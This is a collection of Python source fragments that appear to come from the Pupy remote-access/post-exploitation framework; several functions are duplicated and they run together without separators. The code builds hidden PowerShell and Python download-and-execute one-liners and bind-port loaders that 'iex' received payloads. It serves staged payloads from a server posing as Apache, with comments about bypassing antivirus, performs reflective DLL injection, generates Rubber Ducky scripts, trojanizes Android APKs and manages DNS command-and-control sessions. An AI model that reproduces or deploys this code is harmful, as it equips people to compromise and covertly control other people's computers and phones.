def do(server, handler, config, args): logger = logging.getLogger(args.logger) if args.set_level or args.level: level = args.set_level or args.level logger.setLevel(level.upper()) handler.display(Success('Log level: {}: {}'.format(logger.name, level))) elif args.get_level: handler.display(Success('Log level: {}'.format( levelToString(logger.getEffectiveLevel())))) else: objects = [] for name, logger in logging.Logger.manager.loggerDict.iteritems(): if not hasattr(logger, 'getEffectiveLevel'): continue level = logger.getEffectiveLevel() color = levelToColor(level) objects.append({ 'LOGGER': Color(name, color), 'LEVEL': Color(levelToString(level), color) }) objects = sorted(objects, key=lambda x: x['LOGGER'].data) handler.display(Table(objects, ['LOGGER', 'LEVEL']))
def do(server, handler, config, args): argv0 = os.readlink('/proc/self/exe') argv = [ x for x in open('/proc/self/cmdline').read().split('\x00') if x ] if handler.dnscnc: handler.display(Success('Stopping DNSCNC')) handler.dnscnc.stop() server.stop() handler.display(Success('Restarting')) os.execv(argv0, argv)
def do(server, handler, config, modargs): if modargs.kill: j = server.get_job(modargs.kill) handler.summary(j) finished = j.is_finished() if finished: server.del_job(j.jid) handler.display(Success('Job closed')) else: j.interrupt() j.stop() handler.display(Success('Job killed')) server.del_job(modargs.kill) del j elif modargs.kill_no_output: j = server.get_job(modargs.kill_no_output) finished = j.is_finished() if finished: server.del_job(j.jid) handler.display('Job closed') else: j.interrupt() j.stop() handler.display(Success('Job killed')) server.del_job(modargs.kill_no_output) del j elif modargs.print_output: j = server.get_job(modargs.print_output) handler.summary(j) elif modargs.list: if server.jobs: dictable = [] for jid, job in server.jobs.iteritems(): dictable.append({ 'id': jid, 'job': str(job), 'status': 'finished' if job.is_finished() else 'running', 'clients': len(job) }) handler.display(Table(dictable, ['id', 'job', 'clients', 'status'])) else: handler.display(Error('No jobs are currently running'))
def send_ps1_payload(display, conf, bind_port, target_ip, nothidden=False): ps1_template = """$l=[System.Net.Sockets.TcpListener][BIND_PORT];$l.start();$c=$l.AcceptTcpClient();$t=$c.GetStream(); [byte[]]$b=0..4096|%{0};$t.Read($b, 0, 4);$c=""; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){$t.Write([System.Text.Encoding]::UTF8.GetBytes("2"),0,1);} else{$t.Write([System.Text.Encoding]::UTF8.GetBytes("1"),0,1);} while(($i=$t.Read($b,0,$b.Length)) -ne 0){ $d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$c=$c+$d; } $t.Close();$l.stop();iex $c; """ main_ps1_template = """$c=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{0}'));iex $c;""" hidden = '' if nothidden else '-w hidden ' launcher = ps1_template.replace("[BIND_PORT]", bind_port) launcher = launcher.replace('\n', '').replace(' ', '') basic_launcher = "powershell.exe [HIDDEN]-noni -nop [CMD]".replace( '[HIDDEN]', hidden) oneliner = basic_launcher.replace('[CMD]', '-c \"%s\"' % launcher) encoded_oneliner = basic_launcher.replace( '[CMD]', '-enc %s' % b64encode(launcher.encode('UTF-16LE'))) display( List([ oneliner, encoded_oneliner, ], caption=Success('Copy/paste one of these one-line loader to ' 'deploy pupy without writing on the disk'))) display(Success('Generating puppy dll. Be patient...')) display(Success('Connecting to {0}:{1}'.format(target_ip, bind_port))) s = socket.create_connection((target_ip, int(bind_port))) s.settimeout(30) s.sendall("\n") display(Success('Receiving target architecure...')) version = s.recv(1024) ps1_encoded = None if version == '2': display(Success('Target architecture: x64')) output_x64 = pupygen.generate_ps1(display, conf, x64=True, as_str=True) ps1_encoded = main_ps1_template.format(b64encode(output_x64)) else: display(Success('Target architecture: x86')) output_x86 = pupygen.generate_ps1(display, conf, x86=True, as_str=True) ps1_encoded = main_ps1_template.format(b64encode(output_x86)) display( Success('Sending ps1 payload to {0}:{1}'.format(target_ip, bind_port))) s.sendall(ps1_encoded) s.close() display( Success('ps1 payload sent to target {0}:{1}'.format( target_ip, bind_port)))
def dotnet_serve_payload(display, server, rawdll, conf, link_ip="<your_ip>"): if not server: display(Error('Oneliners only supported from pupysh')) return if not server.pupweb: display(Error('Webserver disabled')) return dn = DotNetPayload(display, server, conf, rawdll) exe_path = dn.gen_exe(options='-target:library') with open(exe_path, 'rb') as r: payload = r.read() os.unlink(exe_path) landing_uri = server.pupweb.serve_content(payload, alias='.NET payload') command = PS_TEMPLATE.format(link_ip=link_ip, port=server.pupweb.port, landing_uri=landing_uri).encode('utf-16le') display( List( [ 'powershell -w hidden -enc "{}"'.format(b64encode(command)), ], caption=Success( 'Copy/paste this one-line loader to deploy pupy without writing on the disk' )))
def pack_py_payload(display, conf, debug=False, autostart=True): display(Success('Generating PY payload ...')) stdlib = dependencies.importer(( 'pyasn1', 'rsa', 'pyaes', 'netaddr', 'tinyec', 'umsgpack', 'poster', 'win_inet_pton', 'http_parser', 'urllib_auth', ), ignore_native=True, as_dict=True) stdlib.update( dependencies.importer(('network', 'pupy'), path=ROOT, as_dict=True)) payload = dependencies.bootstrap(stdlib, conf, autostart) + '\n' if debug: return payload return compress_encode_obfs(payload, main=True)
def do(server, handler, config, args): if args.add: name, args = args.add[0], args.add[1:] server.add_listener(name, ' '.join(args), motd=False) elif args.add_no_pproxy: name, args = args.add_no_pproxy[0], args.add_no_pproxy[1:] server.add_listener(name, ' '.join(args), motd=False, ignore_pproxy=True) elif args.remove: server.remove_listener(args.remove) elif args.list_transports: table = [] for name, transport in transports.iteritems(): color = None listener = None info = transport.info if name in server.listeners: color = 'lightgreen' listener = Color(str(server.listeners[name]), color) name = Color(name, color) info = Color(info, color) table.append({'NAME': name, 'INFO': info, 'ACTIVE': listener}) handler.display(Table(table, ['NAME', 'INFO', 'ACTIVE'])) else: for listener in server.listeners.itervalues(): handler.display(Success(listener))
def send_ps1_payload(display, conf, bind_port, target_ip, nothidden=False): ps1_template = """$l=[System.Net.Sockets.TcpListener][BIND_PORT];$l.start();$c=$l.AcceptTcpClient();$t=$c.GetStream(); [byte[]]$b=0..4096|%{0};$t.Read($b, 0, 4);$c=""; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){$t.Write([System.Text.Encoding]::UTF8.GetBytes("2"),0,1);} else{$t.Write([System.Text.Encoding]::UTF8.GetBytes("1"),0,1);} while(($i=$t.Read($b,0,$b.Length)) -ne 0){ $d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$c=$c+$d; } $t.Close();$l.stop();iex $c; """ main_ps1_template = """$c=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{0}'));iex $c;""" hidden = '' if nothidden else '-w hidden ' launcher = ps1_template.replace("[BIND_PORT]", bind_port) launcher = launcher.replace('\n', '').replace(' ', '') basic_launcher = "powershell.exe [HIDDEN]-noni -nop [CMD]".replace( '[HIDDEN]', hidden) oneliner = basic_launcher.replace('[CMD]', '-c \"%s\"' % launcher) encoded_oneliner = basic_launcher.replace( '[CMD]', '-enc %s' % b64encode(launcher.encode('UTF-16LE'))) display( List([ oneliner, encoded_oneliner, ], caption=Success('Copy/paste one of these one-line loader to ' 'deploy pupy without writing on the disk'))) display(Success('Generating puppy dll. Be patient...')) display(Success('Connecting to {0}:{1}'.format(target_ip, bind_port))) s = None for _ in xrange(10): try: s = socket.create_connection((target_ip, int(bind_port))) break except socket.error, e: if e.errno not in (errno.ECONNREFUSED, errno.ETIMEDOUT): display(Error('Connection failed: {}'.format(e))) return sleep(CONNECTION_RETRY_SLEEP_TIME)
def createRubberDuckyScriptForWindowsTarget(self): ''' ''' with open(self.rubberDuckyScriptFilename, 'wb') as w: w.write(self.WINDOWS_SCRIPT.format(self.link_ip, self.link_port)) self.display( Success('Rubber ducky script file generated in {0}'.format( self.rubberDuckyScriptFilename)))
def serve_payload(display, payload, ip="0.0.0.0", port=8080, link_ip="<your_ip>"): class PupyPayloadHTTPHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() # Send the html message self.wfile.write(payload) return try: while True: try: server = HTTPServer((ip, port), PupyPayloadHTTPHandler) break except Exception as e: # [Errno 98] Adress already in use if e[0] == 98: port += 1 else: raise display( List([ "python -c 'import urllib;exec urllib.urlopen(\"http://%s:%s/index\").read()'" % (link_ip, port), ], caption=Success( 'Copy/paste this one-line loader to deploy pupy without writing on the disk' ))) display(Success('Started http server on %s:%s ' % (ip, port))) display(Success('Waiting for a connection ...')) server.serve_forever() except KeyboardInterrupt: display( Warn('KeyboardInterrupt received, shutting down the web server')) server.socket.close() server.shutdown()
def generateAllForOStarget(self): ''' ''' if self.targetOs == 'Windows' and not self.unconfigured: from ps1_oneliner import serve_ps1_payload self.createRubberDuckyScriptForWindowsTarget() self.generateInjectBinFile() self.display( Success( 'copy/paste inject.bin file on USB rubber ducky device')) self.display( Success( 'You should not pay attention to the following message ' '(powershell command). This powershell command is embedded in ' 'the inject.bin file generated')) serve_ps1_payload(self.display, self.conf, link_ip=self.link_ip)
def do_GET(self): self.server_version = "Apache/2.4.27 (Unix)" self.sys_version = "" if self.path == "/%s" % url_random_one: self.send_response(200) self.send_header('Content-type','text/html') self.end_headers() # Send stage 1 to target self.wfile.write(self.server.stage1) display(Success('[Stage 1/2] Powershell script served !')) elif self.path == "/%s" % url_random_two_x86 or self.path == "/%s" % url_random_two_x64: self.send_response(200) self.send_header('Content-type','text/html') self.end_headers() stage2 = None if self.path == "/%s" % url_random_two_x86: display(Success('Remote script is running in a x86 powershell process')) stage2 = self.server.stage2_x86 else: display(Success('Remote script is running in a x64 powershell process')) stage2 = self.server.stage2_x64 # Send stage 2 to target self.wfile.write(stage2) display(Success( '[Stage 2/2] Powershell Invoke-ReflectivePEInjection script (with dll embedded) served!')) display(Success( '{}:You should have a pupy shell in few seconds from this host...'.format( self.client_address[0]))) else: self.send_response(404) self.send_header('Content-type','text/html') self.end_headers() self.wfile.write(APACHE_DEFAULT_404)
def get_edit_apk(display, path, conf, compressed_config=None, debug=False): credentials = Credentials(role='control') priv_key = credentials['APK_PRIV_KEY'] pub_key = credentials['APK_PUB_KEY'] if not priv_key or not pub_key: raise ValueError( 'CONTROL_APK_PRIV_KEY/CONTROL_APK_PUB_KEY credentials missing (old credentials)' ) tempdir = tempfile.mkdtemp(prefix="tmp_pupy_") fd, tempapk = tempfile.mkstemp(prefix="tmp_pupy_") try: packed_payload = pack_py_payload(display, get_raw_conf(display, conf), debug, False) shutil.copy(path, tempapk) #extracting the python-for-android install tar from the apk zf = zipfile.ZipFile(path, 'r') zf.extract("assets/private.mp3", tempdir) zf.close() with open(os.path.join(tempdir, "pp.py"), 'w') as w: w.write(packed_payload) import py_compile py_compile.compile(os.path.join(tempdir, "pp.py"), os.path.join(tempdir, "pp.pyo")) display(Success('Packaging the apk ... (can take 10-20 seconds)')) #updating the tar with the new config updateTar(os.path.join(tempdir, "assets/private.mp3"), "pp.pyo", os.path.join(tempdir, "pp.pyo")) #repacking the tar in the apk with open(os.path.join(tempdir, "assets/private.mp3"), 'r') as t: updateZip(tempapk, "assets/private.mp3", t.read()) # signing the tar result = BytesIO() jarsigner(priv_key, pub_key, tempapk, result) return result.getvalue() finally: #cleaning up shutil.rmtree(tempdir, ignore_errors=True) os.unlink(tempapk)
def log(self, handler): if not self.show_requests: return message = 'Web: ' if handler.request.uri in self.aliases: message += '({}) '.format(self.aliases[handler.request.uri]) message += handler._request_summary() if handler.get_status() < 400: self.pupsrv.info(Success(message)) else: self.pupsrv.info(Error(message))
def pack_scriptlets(display, scriptlets, args_scriptlet, os=None, arch=None, debug=False): sp = ScriptletsPacker(os, arch) for sc in args_scriptlet: tab = sc.split(",", 1) sc_args = {} name = tab[0] if len(tab) == 2: try: for x, y in [x.strip().split("=") for x in tab[1].split(",")]: sc_args[x.strip()] = y.strip() except: raise ValueError( "usage: pupygen ... -s %s,arg1=value,arg2=value,..." % name) if name not in scriptlets: raise ValueError("unknown scriptlet %s, valid choices are : %s" % (repr(name), [x for x in scriptlets.iterkeys()])) display( Success('loading scriptlet {}{}'.format( repr(name), 'with args {}'.format(' '.join( '{}={}'.format(k, repr(v)) for k, v in sc_args.iteritems())) if sc_args else ''))) try: sp.add_scriptlet(scriptlets[name], sc_args) except ScriptletArgumentError as e: display( MultiPart( Error('Scriptlet {} argument error: {}'.format( repr(name), str(e))), scriptlets[name].format_help())) raise ValueError('{}'.format(e)) script_code = sp.pack() return script_code
def gen_source(self, random_path=False): with open(TEMPLATE, 'rb') as f: template_source = f.read() self.display(Success('packing pupy into C# source ...')) encoded = '{' + ','.join(str(c ^ 0xFF) for c in self.rawdll) + '}' content = template_source.replace('<PUPYx64_BYTES>', encoded) if not self.outpath or random_path: outfile = tempfile.NamedTemporaryFile(dir=self.output_dir or '.', prefix='pupy_', suffix='.cs', delete=False) else: outpath_src, _ = splitext(self.outpath) + '.cs' outfile = open(outpath_src, 'w') outfile.write(content) outfile.close() return outfile.name
def serve_payload(display, server, payload, link_ip="<your_ip>"): if not server: display(Error('Oneliners only supported from pupysh')) return if not server.pupweb: display(Error('Webserver disabled')) return landing_uri = server.pupweb.serve_content(payload, alias='py payload') display(Warn('Python 2.7.x required, x should be >= 9')) display( List([ "python -c 'import urllib;exec urllib.urlopen(\"http://%s:%s%s\").read()'" % (link_ip, server.pupweb.port, landing_uri), ], caption=Success( 'Copy/paste this one-line loader to deploy pupy without writing on the disk' )))
def pack_py_payload(display, conf, debug=False): display(Success('Generating PY payload ...')) fullpayload = [] with open(os.path.join(ROOT, 'packages', 'all', 'pupyimporter.py')) as f: pupyimportercode = f.read() fullpayload.append('\n'.join([ dependencies.loader(pupyimportercode, 'pupyimporter'), 'import pupyimporter', 'pupyimporter.install(debug={})'.format( repr(debug if debug is not None else False)), dependencies.importer('network', path=ROOT), dependencies.importer(('rpyc', 'pyasn1', 'rsa', 'netaddr', 'tinyec', 'umsgpack', 'poster', 'win_inet_pton')) ]) + '\n') with open(os.path.join(ROOT, 'pp.py')) as f: code = f.read() code = re.sub(r'LAUNCHER\s*=\s*.*\n(#.*\n)*LAUNCHER_ARGS\s*=\s*.*', conf.replace('\\', '\\\\'), code) if debug: fullpayload = [ 'import logging', 'logging.basicConfig()', 'logging.getLogger().setLevel(logging.DEBUG)' ] + fullpayload fullpayload.append(code + '\n') payload = '\n'.join(fullpayload) + '\n' if debug: return payload return compress_encode_obfs(payload, main=True)
def do(server, handler, config, modargs): if modargs.global_reset: handler.default_filter = None handler.display(Success('Default filter reset to global')) elif modargs.interact: handler.default_filter = modargs.interact handler.display(Success('Default filter set to {}'.format( handler.default_filter))) elif modargs.kill: selected_client = server.get_clients(modargs.kill) if selected_client: try: selected_client[0].conn.exit() except Exception: pass elif modargs.drop: selected_client = server.get_clients(modargs.drop) if selected_client: try: selected_client[0].conn._conn.close() except Exception: pass elif modargs.dropall: clients = list(server.get_clients_list()) for client in clients: try: client.conn._conn.close() except Exception: pass elif modargs.killall: clients = server.get_clients_list() descriptions = [ x.desc for x in client_lis ] for description in descriptions: try: server.get_clients(description['id'])[0].conn.exit() except Exception: pass else: client_list = server.get_clients_list() if handler.default_filter: filtered_clients = server.get_clients(handler.default_filter) else: filtered_clients = client_list columns = [ 'id', 'user', 'hostname', 'platform', 'release', 'os_arch', 'proc_arch', 'intgty_lvl', 'address', 'tags' ] content = [] for client in client_list: color = 'white' if client in filtered_clients else 'darkgrey' data = { k:Color(v, color) for k,v in client.desc.iteritems() if k in columns } data.update({ 'tags': Color(config.tags(client.node()), color) }) content.append(data) handler.display(Table(content, columns))
def serve_ps1_payload(display, conf, ip="0.0.0.0", port=8080, link_ip="<your_ip>", useTargetProxy=False, sslEnabled=True, nothidden=False): url_random_one = ''.join(choice(letters) for _ in xrange(10)) + '.txt' url_random_two_x86 = ''.join(choice(letters) for _ in xrange(10)) + '.txt' url_random_two_x64 = ''.join(choice(letters) for _ in xrange(10)) + '.txt' try: protocol = 'http' ssl_cert_validation = '' not_use_target_proxy = '' hidden = '-w hidden ' if nothidden: hidden = '' if sslEnabled: protocol = 'https' ssl_cert_validation = '[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};' if not useTargetProxy: not_use_target_proxy = '$w=(New-Object System.Net.WebClient);$w.Proxy=[System.Net.GlobalProxySelection]::GetEmptyWebProxy();' powershell = "[NOT_USE_TARGET_PROXY][SSL_CERT_VALIDATION]IEX(New-Object Net.WebClient).DownloadString('[PROTOCOL]://[LINK_IP]:[LINK_PORT]/[RANDOM]');" repls = ('[NOT_USE_TARGET_PROXY]', not_use_target_proxy), \ ('[SSL_CERT_VALIDATION]', ssl_cert_validation), \ ('[PROTOCOL]', protocol), \ ('[LINK_IP]', '%s' % link_ip), \ ('[LINK_PORT]', '%s' % port) powershell = reduce(lambda a, kv: a.replace(*kv), repls, powershell) launcher = powershell.replace('[RANDOM]', url_random_one) basic_launcher = "powershell.exe [HIDDEN]-noni -nop [CMD]".replace('[HIDDEN]', hidden) oneliner = basic_launcher.replace('[CMD]', '-c %s' % repr(launcher)) encoded_oneliner = basic_launcher.replace('[CMD]', '-enc %s' % b64encode(launcher.encode('UTF-16LE'))) # Compute stage1 to gain time response ps_template_stage1 = """ if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64') {{ {0} }} else {{ {1} }} """ launcher_x64 = powershell.replace('[RANDOM]', url_random_two_x64) launcher_x86 = powershell.replace('[RANDOM]', url_random_two_x86) stage1 = ps_template_stage1.format(launcher_x64, launcher_x86) # For bypassing AV stage1 = "$code=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{0}'));iex $code;".format(b64encode(stage1)) # generate both pupy dll to gain time response display(Success('Generating puppy dll to gain server reaction time. Be patient...')) tmpfile = tempfile.gettempdir() output_x86 = pupygen.generate_ps1(display, conf, output_dir=tmpfile, x86=True) output_x64 = pupygen.generate_ps1(display, conf, output_dir=tmpfile, x64=True) stage2_x86 = open(output_x86).read() stage2_x64 = open(output_x64).read() # For bypassing AV stage2_x86 = "$code=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{0}'));iex $code;".format(b64encode(stage2_x86)) stage2_x64 = "$code=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{0}'));iex $code;".format(b64encode(stage2_x64)) class PupyPayloadHTTPHandler(BaseHTTPRequestHandler): def do_GET(self): self.server_version = "Apache/2.4.27 (Unix)" self.sys_version = "" if self.path == "/%s" % url_random_one: self.send_response(200) self.send_header('Content-type','text/html') self.end_headers() # Send stage 1 to target self.wfile.write(self.server.stage1) display(Success('[Stage 1/2] Powershell script served !')) elif self.path == "/%s" % url_random_two_x86 or self.path == "/%s" % url_random_two_x64: self.send_response(200) self.send_header('Content-type','text/html') self.end_headers() stage2 = None if self.path == "/%s" % url_random_two_x86: display(Success('Remote script is running in a x86 powershell process')) stage2 = self.server.stage2_x86 else: display(Success('Remote script is running in a x64 powershell process')) stage2 = self.server.stage2_x64 # Send stage 2 to target self.wfile.write(stage2) display(Success( '[Stage 2/2] Powershell Invoke-ReflectivePEInjection script (with dll embedded) served!')) display(Success( '{}:You should have a pupy shell in few seconds from this host...'.format( self.client_address[0]))) else: self.send_response(404) self.send_header('Content-type','text/html') self.end_headers() self.wfile.write(APACHE_DEFAULT_404) server = ThreadedHTTPServer((ip, port), PupyPayloadHTTPHandler) server.set(conf, sslEnabled, stage1, stage2_x86, stage2_x64) display(List([ oneliner, encoded_oneliner ], caption=Success( 'Copy/paste one of these one-line loader to deploy pupy without writing on the disk:'))) display(Warn( 'Please note that even if the target\'s system uses a proxy, ' 'this previous powershell command will not use the ' 'proxy for downloading pupy')) display(Success('Started http server on %s:%s ' % (ip, port))) display(Success('Waiting for a connection ...')) server.serve_forever() except KeyboardInterrupt: print 'KeyboardInterrupt received, shutting down the web server' server.server_close() finally: # clean local file created os.remove(output_x86) os.remove(output_x64)
def do(server, handler, config, args): if not server.dnscnc: handler.display(Error('DNSCNC disabled')) return if args.command == 'status': policy = handler.dnscnc.policy objects = { 'DOMAIN': server.dnscnc.dns_domain, 'DNS PORT': str(server.dnscnc.dns_port), 'RECURSOR': server.dnscnc.dns_recursor, 'LISTEN': str(server.dnscnc.dns_listen), 'SESSIONS': 'TOTAL={} DIRTY={}'.format(server.dnscnc.count, server.dnscnc.dirty), 'POLL': '{}s'.format(policy['interval']), 'TIMEOUT': '{}s'.format(policy['timeout']), 'KEX': '{}'.format(bool(policy['kex'])), } handler.display( Table([{ 'PROPERTY': k, 'VALUE': v } for k, v in objects.iteritems()], ['PROPERTY', 'VALUE'])) if server.dnscnc.commands: handler.display('\nDEFAULT COMMANDS:\n' + '\n'.join([ '{:03d} {}'.format(i, cmd) for i, cmd in enumerate(server.dnscnc.commands) ])) if server.dnscnc.node_commands: handler.display('\nNODE DEFAULT COMMANDS:') for node, commands in server.dnscnc.node_commands.iteritems(): handler.display('\n' + '\n'.join([ '{:03d} {}: {}'.format( i, '{:012x}'.format(node) if type(node) == int else node, cmd) for i, cmd in enumerate(commands) ])) elif args.command == 'info': sessions = server.dnscnc.list(args.node) if not sessions: handler.display(Success('No active DNSCNC sesisons found')) return objects = [] sort_by = None if args.o: sort_by = lambda x: x.system_info['os'] + x.system_info['arch'] elif args.i: sort_by = lambda x: x.system_info['external_ip'] elif args.n: sort_by = lambda x: x.system_info['node'] elif args.c: sort_by = lambda x: x.system_status['cpu'] elif args.m: sort_by = lambda x: x.system_status['mem'] elif args.l: sort_by = lambda x: x.system_status['listen'] elif args.e: sort_by = lambda x: x.system_status['remote'] elif args.u: sort_by = lambda x: x.system_status['users'] elif args.x: sort_by = lambda x: x.system_status['idle'] elif args.t: sort_by = lambda x: str(sorted(config.tags(x.system_info['node']))) if sort_by: sessions = sorted(sessions, key=sort_by, reverse=bool(args.r)) for idx, session in enumerate(sessions): if not (session.system_status and session.system_info): continue object = { '#': '{:03d}'.format(idx), 'P': '', 'NODE': '{:012x}'.format(session.system_info['node']), 'SESSION': '{:08x}'.format(session.spi), 'IP': session.system_info['external_ip'] or '?', 'OS': '{}/{}'.format(session.system_info['os'], session.system_info['arch']), 'CPU': '{:d}%'.format(session.system_status['cpu']), 'MEM': '{:d}%'.format(session.system_status['mem']), 'LIS': '{:d}'.format(session.system_status['listen']), 'EST': '{:d}'.format(session.system_status['remote']), 'USERS': '{:d}'.format(session.system_status['users']), 'IDLE': '{}'.format(session.system_status['idle']), 'TAGS': '{}'.format(config.tags(session.system_info['node'])) } pupy_session = None for c in server.clients: if 'spi' in c.desc: if c.desc['spi'] == '{:08x}'.format(session.spi): pupy_session = c.desc['id'] elif c.node() == '{:012x}'.format(session.system_info['node']): pupy_session = c.desc['id'] break if pupy_session: object.update({'P': pupy_session}) color = '' if (session.online_status or session.egress_ports or session.open_ports): color = 'cyan' elif session.system_status['cpu'] > 90 or session.system_status[ 'mem'] > 90: color = 'lightred' elif (session.pstore_dirty): color = 'magenta' elif not session.system_status['idle']: color = 'lightyellow' elif pupy_session: color = 'lightgreen' if color: object = {k: Color(v, color) for k, v in object.iteritems()} objects.append(object) columns = [ '#', 'P', 'NODE', 'SESSION', 'IP', 'OS', 'CPU', 'MEM', 'LIS', 'EST', 'USERS', 'IDLE', 'TAGS' ] handler.display(Table(objects, columns)) elif args.command == 'sessions': sessions = server.dnscnc.list(args.node) if not sessions: handler.display(Success('No active DNSCNC sesisons found')) return objects = [] sort_by = None if args.b: sort_by = lambda x: x.system_info['boottime'] elif args.o: sort_by = lambda x: x.system_info['os'] + x.system_info['arch'] elif args.i: sort_by = lambda x: x.system_info['external_ip'] elif args.d: sort_by = lambda x: x.duration elif args.c: sort_by = lambda x: x.commands elif args.n: sort_by = lambda x: x.system_info['node'] if sort_by: sessions = sorted(sessions, key=sort_by, reverse=bool(args.r)) for idx, session in enumerate(sessions): object = { '#': idx, 'P': '', 'NODE': '{:012x}'.format(session.system_info['node']), 'SESSION': '{:08x}'.format(session.spi), 'EXTERNAL IP': '{}'.format( session.system_info['external_ip'] or '?' ), 'ONLINE': '{}'.format( 'Y' if session.system_info['internet'] else 'N' ), 'IDLE': '{}s'.format(session.idle), 'DURATION': '{}s'.format(session.duration), 'OS': '{}/{}'.format( session.system_info['os'], session.system_info['arch'] ), 'BOOTED': '{}s'.format( session.system_info['boottime'].ctime()) if \ session.system_info['boottime'] else '?', 'CMDS': '{}'.format(len(session.commands)) } pupy_session = None for c in server.clients: if 'spi' in c.desc: if c.desc['spi'] == '{:08x}'.format(session.spi): pupy_session = c.desc['id'] elif c.node() == '{:012x}'.format(session.system_info['node']): pupy_session = c.desc['id'] break color = None if pupy_session: object.update({'P': pupy_session}) color = 'lightgreen' elif session.idle > server.dnscnc.policy['interval']: color = 'grey' elif not session.system_info['internet']: color = 'lightred' elif len(session.commands) > 0: color = 'yellow' if color: object = {k: Color(v, color) for k, v in object.iteritems()} objects.append(object) columns = [ '#', 'P', 'NODE', 'SESSION', 'OS', 'ONLINE', 'EXTERNAL IP', 'IDLE', 'DURATION', 'BOOTED', 'CMDS' ] handler.display(Table(objects, columns)) elif args.command == 'nodes': nodes = server.dnscnc.nodes(args.node) if not nodes: handler.display(Success('No active DNSCNC nodes found')) return objects = [] sort_by = None if args.i: sort_by = lambda x: x.cid if args.a: sort_by = lambda x: x.alert elif args.I: sort_by = lambda x: x.iid elif args.d: sort_by = lambda x: x.duration elif args.c: sort_by = lambda x: len(x.commands) elif args.n: sort_by = lambda x: x.node elif args.v: sort_by = lambda x: x.version if sort_by: nodes = sorted(nodes, key=sort_by, reverse=bool(args.r)) for idx, node in enumerate(nodes): object = { '#': idx, 'P': '', 'A': 'Y' if node.alert else '', 'NODE': '{:012x}'.format(node.node), 'IID': '{}'.format( 'pid:{}'.format(node.iid) if node.iid < 65535 \ else 'spi:{:08x}'.format(node.iid)), 'VER': '{}'.format(node.version), 'CID': '{:08x}'.format(node.cid), 'IDLE': '{}s'.format(node.idle), 'DURATION': '{}s'.format(node.duration), 'CMDS': '{}'.format(len(node.commands)), 'TAGS': '{}'.format(config.tags(node.node)), 'WARN': '{}'.format(node.warning if node.warning else '') } pupy_session = None ids = [] for c in server.clients: if c.node() == '{:012x}'.format(node.node): if (node.iid <= 65535 and c.desc['pid'] % 65535 == node.iid) \ or (node.iid > 65535 and 'spi' in c.desc and \ c.desc['spi'] == '{:08x}'.format(node.iid)): ids.append(str(c.desc['id'])) if ids: pupy_session = ','.join(ids) color = None if pupy_session: object.update({'P': pupy_session}) if node.alert: color = 'lightred' elif node.warning: color = 'cyan' elif pupy_session: color = 'lightgreen' elif node.idle > server.dnscnc.policy['interval']: color = 'grey' elif len(node.commands) > 0: color = 'yellow' if color: object = {k: Color(v, color) for k, v in object.iteritems()} objects.append(object) columns = [ '#', 'P', 'A', 'NODE', 'IID', 'VER', 'CID', 'IDLE', 'DURATION', 'CMDS', 'TAGS', 'WARN' ] handler.display(Table(objects, columns)) elif args.command == 'wait': now = time.time() timeout = None if args.timeout: timeout = now + args.timeout else: timeout = now + handler.dnscnc.policy['timeout'] dirty = True while dirty or (time.time() >= timeout): dirty = False for session in server.dnscnc.list(): if len(session.commands) > 0: dirty = True if dirty: time.sleep(1) elif args.command == 'set': set_kex = None if args.kex is not None: set_kex = True elif args.no_kex is not None: set_kex = False if all([x is None for x in [set_kex, args.timeout, args.poll]]): handler.display(Error('No arguments provided.')) else: count = server.dnscnc.set_policy(set_kex, args.timeout, args.poll, node=args.node) if count: handler.display( Success('Apply policy to {} known nodes'.format(count))) elif args.command == 'reset': count = server.dnscnc.reset(session=args.node, default=args.default) if count: handler.display( Success('Reset commands on {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'connect': try: count = server.dnscnc.connect(host=args.host, port=args.port, transport=args.transport, node=args.node, default=args.default) except Exception, e: handler.display(Error(e)) return if count: handler.display( Success('Schedule connect {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node)))
traceback.print_exc() return if not output and 'oneliner' not in args.format: handler.display(Error('payload generation failed')) return if server.httpd and output.startswith(wwwroot): wwwpath = os.path.relpath(output, wwwroot) if config.getboolean('httpd', 'secret'): wwwpath = '/'.join([ config.get('randoms', 'wwwsecret', random=5) ] + [ config.set('randoms', None, x, random=5) for x in wwwpath.split('/') ]) handler.display(Success('WWW URI PATH: /{}'.format(wwwpath))) host="<host:port>" try: for i in range(0,len(args.launcher_args)): if args.launcher_args[i]=="--host": host=args.launcher_args[i+1] break except: pass if args.format=='py': handler.display(Success("ONELINER: python -c 'import urllib;exec urllib.urlopen(\"http://{}/{}\").read()'".format(host, wwwpath))) elif args.format=='ps1': handler.display(Success("ONELINER: powershell.exe -w hidden -noni -nop -c \"iex(New-Object System.Net.WebClient).DownloadString('http://{}/{}')\"".format(host, wwwpath)))
